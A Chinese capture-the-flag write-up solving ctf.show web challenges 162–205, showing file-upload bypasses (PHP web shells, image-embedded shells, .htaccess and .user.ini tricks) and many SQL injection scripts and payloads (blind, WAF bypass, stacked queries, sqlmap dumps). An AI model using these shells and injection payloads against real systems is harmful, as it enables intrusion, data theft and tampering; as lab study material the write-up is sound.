import ioimport requestsimport threadingurl = 'http://3238a505-5728-4702-b83b-98460ec17f8d.chall.ctf.show:8080/' def write (session ): data = { 'PHP_SESSION_UPLOAD_PROGRESS' : '<?php system("tac ../f*");?>' } while True : f = io.BytesIO(b'GIF89a\ndotast' ) files = {'file' : ('1.png' , f, 'image/png' )} response = session.post(url+"upload.php" ,cookies={'PHPSESSID' : 'muma' }, data=data, files=files) def read (session ): while True : response = session.get(url+'upload' ) if 'ctfshow' in response.text: print(response.text) break else : print('retry' ) if __name__ == '__main__' : session = requests.session() for i in range(30 ): threading.Thread(target=write, args=(session,)).start() for i in range(30 ): threading.Thread(target=read, args=(session,)).start()
运行完后得到flag
¶ web163
和上题一样采用session文件包含
¶ web164
题目说开始改头换面了,先右键查看源码,发现有个download.php?image= 猜测有可能是上传图片马,然后文件包含执行命令,我们先上传一个图片马 点击查看图片,跳转到图片页面,但发现执行不了,crtl+s把图片下载下来后,对比之前的图片发现马被弄没了 应该是经过了二次刷新,这里用之前收集的外国师傅的脚本来生成图片马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
<?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 ); $img = imagecreatetruecolor(32 , 32 ); for ($y = 0 ; $y < sizeof($p); $y += 3 ) { $r = $p[$y]; $g = $p[$y+1 ]; $b = $p[$y+2 ]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3 ), 0 , $color); } imagepng($img,'1.png' );
需要安装php的gd库,使用命令sudo apt-get install php-gd
进行安装,然后运行,生成1.png 接着上传生成的图片马,然后访问图片地址,抓包post执行命令即可得到flag
¶ web165
这次变成jpg了,在网上找了对应的二次渲染的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169
<?php $miniPayload = '<?=eval($_POST[1]);?>' ; if (!extension_loaded('gd' ) || !function_exists('imagecreatefromjpeg' )) { die ('php-gd is not installed' ); } if (!isset ($argv[1 ])) { die ('php jpg_payload.php <jpg_name.jpg>' ); } set_error_handler("custom_error_handler" ); for ($pad = 0 ; $pad < 1024 ; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1 ]); $outStream = file_get_contents($argv[1 ]); $extraBytes = 0 ; $correctImage = TRUE ; if ($dis->readShort() != 0xFFD8 ) { die ('Incorrect SOI marker' ); } while ((!$dis->eof()) && ($dis->readByte() == 0xFF )) { $marker = $dis->readByte(); $size = $dis->readShort() - 2 ; $dis->skip($size); if ($marker === 0xDA ) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0 , $startPos) . $miniPayload . str_repeat("\0" ,$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_' .$argv[1 ], $outStreamTmp, TRUE ); if ($extraBytes !== 0 ) { while ((!$dis->eof())) { if ($dis->readByte() === 0xFF ) { if ($dis->readByte !== 0x00 ) { break ; } } } $stopPos = $dis->seek() - 2 ; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0 , $startPos) . $miniPayload . substr( str_repeat("\0" ,$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0 , $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif ($correctImage) { $outStream = $outStreamTmp; } else { break ; } if (checkImage('payload_' .$argv[1 ], $outStream)) { die ('Success!' ); } else { break ; } } } } unlink('payload_' .$argv[1 ]); die ('Something\'s wrong' ); function checkImage ($filename, $data, $unlink = FALSE ) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE ; imagecreatefromjpeg($filename); if ($unlink) unlink($filename); return $correctImage; } function custom_error_handler ($errno, $errstr, $errfile, $errline ) { global $extraBytes, $correctImage; $correctImage = FALSE ; if (preg_match('/(\d+) extraneous bytes before marker/' , $errstr, $m)) { if (isset ($m[1 ])) { $extraBytes = (int )$m[1 ]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct ($filename, $order = false , $fromString = false ) { $this ->binData = '' ; $this ->order = $order; if (!$fromString) { if (!file_exists($filename) || !is_file($filename)) die ('File not exists [' .$filename.']' ); $this ->binData = file_get_contents($filename); } else { $this ->binData = $filename; } $this ->size = strlen($this ->binData); } public function seek ( ) { return ($this ->size - strlen($this ->binData)); } public function skip ($skip ) { $this ->binData = substr($this ->binData, $skip); } public function readByte ( ) { if ($this ->eof()) { die ('End Of File' ); } $byte = substr($this ->binData, 0 , 1 ); $this ->binData = substr($this ->binData, 1 ); return ord($byte); } public function readShort ( ) { if (strlen($this ->binData) < 2 ) { die ('End Of File' ); } $short = substr($this ->binData, 0 , 2 ); $this ->binData = substr($this ->binData, 2 ); if ($this ->order) { $short = (ord($short[1 ]) << 8 ) + ord($short[0 ]); } else { $short = (ord($short[0 ]) << 8 ) + ord($short[1 ]); } return $short; } public function eof ( ) { return !$this ->binData||(strlen($this ->binData) === 0 ); } } ?>
不过jpg图片成功率很低,试了好多张都不行,搜了一下,发下国光师傅分享了一张成功率比较高的图片,下面是原图 先在网页上传这张图片 然后点击查看图片,crtl+s下载被渲染过的图片,另存为1.jpg 然后运行脚本,生成payload_1.jpg 然后再上传payload_1.jpg,点击查看图片,可以看到图片有明显变化 然后抓包,执行命令获取flag
¶ web166
查看源码,发现只能上传zip 我们写个一句话木马,然后把php改成zip上传 然后访问上传的页面,通过文件包含的特性,我们直接执行命令即可
¶ web167
根据题目提示的httpd,想到是利用htaccess文件
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
首先上传一个jpg文件抓包(因为前段限制了只能上传jpg)
1
AddType application/x-httpd-php .jpg
然后文件名改成.htaccess
,然后上传 接着再上传jpg格式文件,内容是一句话木马 然后访问文件,执行命令即可得到flag
¶ web168
根据题目提示,是要做简单的免杀,刚好玩awd遇过挺多免杀马,第一个先祭上bugku的一道题过狗一句话的免杀马
1 2 3 4 5 6
<?php $poc="s#y#s#t#e#m" ; $poc_1=explode("#" ,$poc); $poc_2=$poc_1[0 ].$poc_1[1 ].$poc_1[2 ].$poc_1[3 ].$poc_1[4 ].$poc_1[5 ]; $poc_2($_REQUEST['1' ]); ?>
还是基础操作,做一个图片马传上去 可以看见成功上传,绕后访问upload目录执行命令获取flag
¶ web169
右键源码查看前端限制只能上传zip,先上传一个zip,然后抓包,改Content-Type
为image/png
,可以传php等格式,但发现内容中过滤了<>
和php
,试了下可以传.user.ini
,我们尝试一下日志包含,User-Agent
加上一句话木马
1
auto_prepend_file=/var/log/nginx/access.log
接着得再上传一个php文件,满足.user.ini
的利用效果,内容随意 然后再用蚁剑连接upload目录下的1.php即可
¶ web170
和上题一样的方法
¶ sql注入(171-253)
¶ web171
打开题目,接下来150道全是sql注入了QWQ,先输入1查询 这里我们可以看到查询语句是这样的
1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
当我们输入id=1的时候,语句代入数据库中查询就会变成这样
1
select username,password from user where username !='flag' and id ='1' limit 1;
如果我们加个单引号,即
1
select username,password from user where username !='flag' and id ='1'' limit 1;
语句不规范就会报错 如果我们在后面加个注释符,即变成id=1'--+
1 2 3
select username,password from user where username !='flag' and id ='1'--+' limit 1; 注释符--+会把后面的语句全注释掉,就不会报错,语句就变成了 select username,password from user where username !='flag' and id ='1'
接下来我们用order by
语句测试有多少列
可以看到4列的时候报错,我们再减小数字 3列的时候正确回显了数据,说明只有三列(当然明眼的师傅前面已经看得出是只有三列了) 接下来,我们查一下数据库名字,这里用union语句来连接查询,并且在前面把id改成-1以达到把查询id回显的数据给置空的目的
1
-1' union select database(),2,3 --+
回显出数据库名字为ctfshow_web,接下来查询表,这里我们用group_concat函数,它可以把相同行的数据都组合起来
1
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+
查出表名为ctfshow_user,接下来再去查列名
1
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+
得到有id,username,password三个列名,然后再password中找到了flag
1
-1' union select password,2,3 from ctfshow_user--+
¶ web172
这次变成了两列
查数据库名
1
-1' union select database(),1--+
得到数据库名字为ctfshow_web,接着查表名
1
-1' union select group_concat(table_name),1 from information_schema.tables where table_schema="ctfshow_web" --+
得到有两个表,ctfshow_user和ctfshow_user2,直觉flag在第二个表中(后来看到代码都提示第二个了),直接查第二个表的列名
1
-1' union select group_concat(column_name),1 from information_schema.columns where table_name="ctfshow_user2" --+
得到有id,username,password三个列名,查password
1
-1' union select password,1 from ctfshow_user2--+
得到flag
¶ web173
这次测出是三列
根据前面我们已经摸清数据库结构了,这里直接查password得到flag
1
-1' union select password,2,3 from ctfshow_user3--+
¶ web174
这里有个坑点,就是选择第四关后,url还是第三关的,得手动把数字3改成4 测试了一下,有两列,但没有回显 这里代码匹配到数字就不会回显,我们可以采用盲注的方式来测试,这里我用的substr语句和页面回显查询出的admin语句来结合利用,写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import requestsurl = "http://9ee16fc0-d13a-48ce-a43d-08dbe999e319.challenge.ctf.show:8080/api/v4.php" dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "" for i in range(1 ,50 ): for j in dict: payload = f"?id=1' and substr((select password from ctfshow_user4 where username=\"flag\"),{i} ,1)=\"{j} \"--+" gloal = url + payload res = requests.get(url=gloal) if 'admin' in res.text: flag += j print(flag) break
运行后即可得到flag 当然还有其他思路,例如把查询的结果写到一个文件中,然后访问就行
¶ web175
这题的匹配规则把ascii码表中全部字符给禁了,不过我们还可以利用时间盲注的方法来判断获取flag,先说一下mysql中的if判断方法吧
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。写个时间盲注脚本来跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
import requestsimport timeurl = "http://9cb608df-e447-434e-b864-67001d4b869d.challenge.ctf.show:8080/api/v5.php" dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "" for i in range(1 ,50 ): for j in dict: payload = f"?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),{i} ,1)=\"{j} \",sleep(5),0)--+" gloal = url + payload start = time.time() res = requests.get(url=gloal) end = time.time() if end-start > 4.9 : flag += j print(flag) break
运行后得到flag
¶ web176
这次开始有过滤注入,先测出有三列
fuzz测试一下,发现是对select进行了过滤,我们大小写绕过就好了,payload如下
1
-1' union Select password,2,3 from ctfshow_user--+
还有另一种简单办法,既然存在注入,直接万能密码就好了' or 1=1--+
¶ web177
这次发现还多过滤了空格,我们可以用%0a
换行符或者/**/
注释符绕过(或者%09,%0b,%0c,%0d
都可以),这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用#
的url编码形式%23
,payload为
¶ web178
这次/**/
被ban了,我们换%0a
¶ web179
这次测试一轮下来,发现只有%0c
可以用
¶ web180
这次把已知的能用的绕过空格方法都给过滤了,不过还可以采用运算符的方式来精心构造一个万能密码,先放出payload
前面我们已经知道表的结构是id,username,password
,所以我们通过查id的方式去找flag,而用运算符中,and
的优先级比or
高,这句话放到查询语句中就变成了
1 2 3 4
id='-1'or(id=26)and'1' limit 1; 也就是 (id='-1') or ((id=26) and '1') limit 1; 前面为0,后面为1,所以整个条件为1
¶ web181
这次倒是把waf语句给放出来了,可以看到正则匹配把大小写给过滤,还是一样用上面的payload可以过
¶ web182
一样可以用上面的payload绕过
¶ web183
打开网站后根据提示,利用post传参,值为表名,根据之前的题我们知道表名是“ctfshow_user”,所以post一下 发现返回值为22,说明有22行数据,这里看返回逻辑把空格和等号以及一些常用的语句给ban掉了,空格的话尝试用括号扩住来让语句正常执行,等号用like来替代,然后用where和%
来匹配数据
1
post:tableName=(ctfshow_user)where(pass)like'ctfshow%'
发现返回值为1,说明执行成功,我们写一个脚本来跑剩下的flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import requestsurl = "http://adb1f64a-e1fd-4640-aeb5-b49da1a62390.challenge.ctf.show:8080/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0 ,666 ): for j in str: data = {"tableName" :"(ctfshow_user)where(pass)like'{0}%'" .format(flag+j)} res = requests.post(url=url, data=data) if "$user_count = 1" in res.text: flag += j print(flag) if j=="}" : exit() break
¶ web184
这次倒是过滤了蛮多东西,像where和单引号双引号啥的都给ban了,这里打算用"right join"右连接(其他例如左连接内连接都可)来把两个表连接起来进行查询pass字段,后面的单引号可以用16进制编码绕过
RIGHT JOIN(右连接): 用于获取右表所有记录,即使左表没有对应匹配的记录。
1 2 3
ctfshow% 16进制编码后--> 0x63746673686f7725 post:tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725
发现可以成功返回数据,改一下脚本继续跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
import requestsimport binasciidef to_hex (s ): str_16 = binascii.b2a_hex(s.encode('utf-8' )) str_16 = bytes.decode(str_16) res = str_16.replace("b'" ,"" ).replace("'" ,"" ) return res url = "http://4d223a13-c7d6-4213-9c81-d388a5c26634.challenge.ctf.show:8080/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0 ,666 ): for j in str: result = "0x" + to_hex(flag + j + "%" ) data = {"tableName" :"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}" .format(result)} res = requests.post(url=url, data=data) if "$user_count = 43" in res.text: flag += j print(flag) if j=="}" : exit() break
¶ web185
看匹配规则,这次把数字都给全ban了
1 2 3
function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); }
想到绕过的方法,一个是用true,另一个是用字母。在mysql中,sql语句true为1,true+true=2,所以通过相加,任何字母我们都可以构造出来 把上题脚本改一下,这里用concat来把每个字母连接起来,作用是连接每个参数拼接成字符串
1 2
mysql> SELECT CONCAT('my', 's', 'ql'); -> 'mysql'
写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
import requestsdef createNum (n ): str = 'true' if n == 1 : return 'true' else : for i in range(n - 1 ): str += "+true" return str def change_str (s ): str="" str+="chr(" +createNum(ord(s[0 ]))+")" for i in s[1 :]: str+=",chr(" +createNum(ord(i))+")" return str url = "http://c0323dfb-fa55-4925-9c61-2e4b8c64e835.challenge.ctf.show:8080/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0 ,666 ): for j in str: result = change_str(flag + j + "%" ) data = {"tableName" :"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))" .format(result)} res = requests.post(url=url, data=data) if "$user_count = 43;" in res.text: flag += j print(flag) if j=="}" : exit() break
¶ web186
再上一题基础上多加了几个过滤,但没影响,继续用上一题脚本打通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
import requestsdef createNum (n ): str = 'true' if n == 1 : return 'true' else : for i in range(n - 1 ): str += "+true" return str def change_str (s ): str="" str+="chr(" +createNum(ord(s[0 ]))+")" for i in s[1 :]: str+=",chr(" +createNum(ord(i))+")" return str url = "http://3044fe6f-042f-49ea-a38c-5806a2404c7f.challenge.ctf.show:8080/select-waf.php" str = "0123456789abcdefghijklmnopqrstuvwxyz{}-" flag = "ctfshow" for i in range(0 ,666 ): for j in str: result = change_str(flag + j + "%" ) data = {"tableName" :"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))" .format(result)} res = requests.post(url=url, data=data) if "$user_count = 43;" in res.text: flag += j print(flag) if j=="}" : exit() break
¶ web187
这次变成登录的了,看返回逻辑
1 2 3 4 5 6 7 8
$username = $_POST['username' ]; $password = md5($_POST['password' ],true ); if ($username!='admin' ){ $ret['msg' ]='用户名不存在' ; die (json_encode($ret)); }
很明显注入点是md5()函数这里,后面用了参数true,返回的是一个16位二进制 而从网上搜集到的有一个字符串ffifdyop
很特殊
1 2 3
echo md5("ffifdyop" ,true );'or' 6 (后面的是不可见字符)
可以看到会返回引号闭合和or并且后面是一些不可见字符,在mysql中进行布尔判断的时候,只要是数字开头就会被当作true,结果也就是
也就是一个万能密码登录,在返回包中成功拿到flag
¶ web188
查看一下sql语句和判断逻辑
1 2 3 4 5 6 7
$sql = "select pass from ctfshow_user where username = {$username} " ; if ($row['pass' ]==intval($password)){ $ret['msg' ]='登陆成功' ; array_push($ret['data' ], array ('flag' =>$flag)); }
可以看到是通过检索username来列出密码,然后一个弱比较来进行判断,先给出payload
以这道题的数据库为例,这个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理 但注意,如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||
运算符
1
username=1||1&password=0
¶ web189
开局就来个提示,flag在api/index.php
中 这次尝试username=0&password=0
登录,发现提示密码错误,说明是密码跟上一题不一样了,不是以字母开头的数据。根据提示,flag的位置在一个文件中,可以用load_file
来配合regexp
来进行盲注
LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
regexp: mysql中的正则表达式操作符
容易想到默认路径是/var/www/html/api/index.php
,开始写个脚本进行盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
import requestsurl = "http://e232d7fb-b70d-4123-a740-369d7137c5dd.challenge.ctf.show:8080/api/index.php" all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}" flag = "ctfshow{" for i in range(200 ): for j in all_str: data = { "username" :"if(load_file('/var/www/html/api/index.php')regexp('{0}'),0,1)" .format(flag + j), 'password' :0 } res = requests.post(url=url, data=data) if r"\u5bc6\u7801\u9519\u8bef" in res.text: flag +=j print(flag) break if j=='}' : exit()
¶ web190
查看查询语句
1 2
//拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'";
结合用户名处会返回用户不存在和密码错误两种结果,利用布尔盲注来进行爆破获取flag,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
import requestsurl = "http://e4bfc493-4ed3-4091-99b3-e1770febcde1.challenge.ctf.show:8080/api/" data = {'username' :'' , 'password' :123456 } flag = '' for i in range(1 ,46 ): start = 32 end = 127 while start < end: mid = (start + end) >> 1 payload = "select f1ag from ctfshow_fl0g" data['username' ] = f"admin' and if(ascii(substr(({payload} ), {i} , 1)) > {mid} , 1, 2)=1#" res = requests.post(url=url, data=data) if "密码错误" in res.json()['msg' ]: start = mid +1 else : end = mid flag = flag + chr(start) print(flag)
¶ web191
看到代码中把ascii给过滤了
1 2 3 4 5
if (preg_match('/file|into|ascii/i' , $username)){ $ret['msg' ]='用户名非法' ; die (json_encode($ret)); }
我们把上题的脚本中的ascii函数换成ord函数就可以,对于单字节处理两者作用一样
ord():ord函数返回字符串的第一个字符的ascii值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
import requestsurl = "http://d0f3a387-5d85-4a5c-a4b8-2267077de55f.challenge.ctf.show:8080/api/" data = {'username' :'' , 'password' :123456 } flag = '' for i in range(1 ,46 ): start = 32 end = 127 while start < end: mid = (start + end) >> 1 payload = "select f1ag from ctfshow_fl0g" data['username' ] = f"admin' and if(ord(substr(({payload} ), {i} , 1)) > {mid} , 1, 2)=1#" res = requests.post(url=url, data=data) if "密码错误" in res.json()['msg' ]: start = mid +1 else : end = mid flag = flag + chr(start) print(flag)
¶ web192
继续看过滤规则
1 2 3 4 5
if (preg_match('/file|into|ascii|ord|hex/i' , $username)){ $ret['msg' ]='用户名非法' ; die (json_encode($ret)); }
这次把ord给ban了,我们使用正则函数去一个个匹配字符,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
import requestsurl = "http://185fcade-247d-4a43-a4fc-5cd023f84184.challenge.ctf.show:8080/api/" flag = "" all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}" for i in range(1 ,99 ): for j in all_str: payload = "select group_concat(f1ag) from ctfshow_fl0g" username_data = f"admin' and if(substr(({payload} ), {i} , 1)regexp('{j} '), 1, 0)=1#" data = {'username' : username_data, 'password' : 1 } res = requests.post(url=url, data=data) if "密码错误" in res.json()['msg' ]: flag += j print(flag) break if j == "}" : exit()
¶ web193
这次增加了过滤
1 2 3 4 5
if (preg_match('/file|into|ascii|ord|hex|substr/i' , $username)){ $ret['msg' ]='用户名非法' ; die (json_encode($ret)); }
把substr给ban了,正则没ban,可以用正则来写,代码中的^
代表从第一位开始匹配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
import requestsurl = "http://4c28d2d4-bcae-4e08-9e24-dfa0cb694305.challenge.ctf.show:8080/api/" flag = "" all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}" for i in range(1 ,99 ): for j in all_str: payload = "select group_concat(f1ag) from ctfshow_flxg" username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#" .format(payload, flag + j) data = {'username' : username_data, 'password' : 1 } res = requests.post(url=url, data=data) if "密码错误" in res.json()['msg' ]: flag += j print(flag) break if j == "}" : exit()
¶ web194
看过滤规则,正则没有被ban
1 2 3 4 5
if (preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i' , $username)){ $ret['msg' ]='用户名非法' ; die (json_encode($ret)); }
继续上一题脚本打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
import requestsurl = "http://f5b3fbb4-9069-425e-8bda-7efad1755835.challenge.ctf.show:8080/api/" flag = "" all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}" for i in range(1 ,99 ): for j in all_str: payload = "select group_concat(f1ag) from ctfshow_flxg" username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#" .format(payload, flag + j) data = {'username' : username_data, 'password' : 1 } res = requests.post(url=url, data=data) if "密码错误" in res.json()['msg' ]: flag += j print(flag) break if j == "}" : exit()
¶ web195
提示堆叠注入,
在sql语句中,分号;
是用来表示一条sql语句的结束,而如果在一条sql语句结束后继续构造下一条sql语句,也会一起执行,从而产生了堆叠注入
看一下过滤规则
1 2 3 4 5
if (preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i' , $username)){ $ret['msg' ]='用户名非法' ; die (json_encode($ret)); }
把空格给过滤了;可以采取反引号的方式执行 题目给出说明只要登录成功就可以获得flag,可以考虑使用update方法把数据库中的密码都更新成自己指定的密码,从而登录获取flag,payload如下
1
0x61646d696e;update`ctfshow_user`set`pass`=123456
0x61646d696e是admin的16进制,这里使用16进制的原因是题目给的sql语句中缺少单引号包裹
1
$sql = "select pass from ctfshow_user where username = {$username} ;" ;
然后再用账号0x61646d696e,密码123456登录就好
¶ web196
这题的话加上了用户名的长度限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14
if (preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i' , $username)){ $ret['msg' ]='用户名非法' ; die (json_encode($ret)); } if (strlen($username)>16 ){ $ret['msg' ]='用户名不能超过16个字符' ; die (json_encode($ret)); } if ($row[0 ]==$password){ $ret['msg' ]="登陆成功 flag is $flag " ; }
这里需要注意正则里ban的是se1ect
,而不是select
,所以select可以继续使用,payload为
1 2
username:520;select(1) password:1
因为库中没有用户名为520的用户,所以查询后会返回后面的语句结果1
¶ web197
1 2 3 4 5 6 7 8 9
if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i' , $username)){ $ret['msg' ]='用户名非法' ; die (json_encode($ret)); } if ($row[0 ]==$password){ $ret['msg' ]="登陆成功 flag is $flag " ; }
这里在195的基础上ban了update和set等,不过这里没有ban掉show,我们可以在username把表全部查询出来,在password里传入表名,相等即可符合判断条件爆出flag
1 2
username:520;show tables password:ctfshow_user
¶ web198
1 2 3 4 5 6 7 8 9
if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i' , $username)){ $ret['msg' ]='用户名非法' ; die (json_encode($ret)); } if ($row[0 ]==$password){ $ret['msg' ]="登陆成功 flag is $flag " ; }
依然可用上题payload打,但这里换另一个思路去解,这里没有ban掉alter,我们可以把密码和id两列进行一个互换,这样一来判断flag的条件变成对id的检测,而id都是纯数字,我们可以去进行爆破到正确的id,从而获得flag,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
import requestsurl = "http://e36a9275-a8a8-4def-bce5-0988a2b9b81d.challenge.ctf.show:8080/api/" payload = '0x61646d696e;alter table ctfshow_user change column `pass` `dotast` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `dotast` `id` varchar(255);' data1 = { 'username' : payload, 'password' : '1' } res = requests.post(url=url, data=data1) for i in range(99 ): data2 = { 'username' : "0x61646d696e" , 'password' : f'{i} ' } res2 = requests.post(url=url, data=data2) if "flag" in res2.json()['msg' ]: print(res2.json()['msg' ]) break
¶ web199
使用web197的payload打
1 2
username:520;show tables password:ctfshow_user
¶ web200
使用web197的payload打
1 2
username:520;show tables password:ctfshow_user
¶ web201
开始练习sqlmap的使用,首先我们去下载sqlmap
1
git clone https://github.com.cnpmjs.org/sqlmapproject/sqlmap.git
首先搜索框抓包,可以看到是get传参,并且提示要绕过referer检查,开始走起 查数据库
1
sqlmap -u "http://50a4f61e-b424-4597-b92c-c768d2ee4089.challenge.ctf.show:8080/api/?id=1" --referer="ctf.show" --dbs
得到数据库为ctfshow_web,查数据库中的表名
1
sqlmap -u "http://50a4f61e-b424-4597-b92c-c768d2ee4089.challenge.ctf.show:8080/api/?id=1" --refer="ctf.show" -D ctfshow_web --tables
得到表名为ctfshow_user,查表中的字段
1
sqlmap -u "http://50a4f61e-b424-4597-b92c-c768d2ee4089.challenge.ctf.show:8080/api/?id=1" --refer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
查password
1
sqlmap -u "http://50a4f61e-b424-4597-b92c-c768d2ee4089.challenge.ctf.show:8080/api/?id=1" --refer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump
获得flag
¶ web202
提示要post传参,使用data
1
sqlmap -u "http://8e957c41-bdfc-4c2e-b9a1-81956347d234.challenge.ctf.show:8080/api/" --data="id=1" --refer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump
¶ web203
提示要用method改变请求方式,这里使用PUT请求,但是要记得加上设置Content-Type
头,否则会变成表单提交
1
sqlmap -u "http://aff779db-d32d-41cb-b944-6cead4df2130.challenge.ctf.show:8080/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
¶ web204
提示传递cookie,我们再加个cookie参数就好了,cookie可以通过抓包获得
1
sqlmap -u "http://31d8cf4d-d658-4b3f-95bb-0068034e2304.challenge.ctf.show:8080/api/index.php" --data="id=1" --referer="ctf.show" --headers="Content-Type:text/plain" --method=PUT --cookie="PHPSESSID=ijpf0cduare0gakqaihmah8nm1; ctfshow=f6757abd63836da6e094a4e776213b5b" -D "ctfshow_web" -T "ctfshow_user" -C "pass" --dump
¶ web205
提示需要api鉴权,具体啥api我们抓包看看 可以看到每次请求api的时候首先会去请求一次getToken.php,而sqlmap中提供了以下两个参数
1 2
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下 --safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数
查表名
1
